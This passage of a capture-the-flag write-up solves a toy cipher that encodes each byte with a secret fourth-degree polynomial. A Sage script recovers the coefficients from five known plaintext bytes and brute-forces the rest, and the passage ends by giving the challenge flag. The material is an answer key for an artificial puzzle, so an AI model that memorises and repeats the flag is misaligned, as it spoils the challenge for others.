1404473868033353193 == 2*a*101**4 + b*101**3 + c*101**2+d*101+e], [a,b,c,d,e])
ct = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]
print(solution)
var('x')
poly = 2*solution[0][0].rhs()*x**4 + solution[0][1].rhs()*x**3 + solution[0][2].rhs()*x**2+solution[0][3].rhs()*x+solution[0][4].rhs()
pt = ""
for ciphertext in ct:
#sol = solve(poly == ciphertext, x)
for b in range(256):
value = int(poly(x=b))
if value == ciphertext:
pt += chr(b)
break
else:
print(f"Couldn't solve '{ciphertext}' in bytes")
print(pt)
5 unknown variables can be solved with 5 equations. After this you have the random polynomial, and you could either calculate the inverse of it to get the plaintext or you could also substract the ciphertext value from the polynomial and then the plaintext should be one of the zeros of that new polynomial.
1245115057305148164 = 2*a*98^4 + b*98^3 + c*98^2+d*98+e
1835524676869638124 = 2*a*108^4 + b*108^3 + c*108^2+d*108+e
1195140205147730541 = 2*a*97^4 + b*97^3 + c*97^2+d*97+e
2441940832124642988 = 2*a*116^4 + b*116^3 + c*116^2+d*116+e
1404473868033353193 = 2*a*101^4 + b*101^3 + c*101^2+d*101+e
With that, running it gives the flag
I also solved it by using Gausssian Elimination
Here’s the script: script
I gave a quick explanation on how I went about it
And note that I used Matrix Calculator to solve the Simultaneous Linear Equations
Flag: battleCTF{Maths_W1th_Gauss_0x0x0x}
And that’s all 🙂
Thanks for reading 😄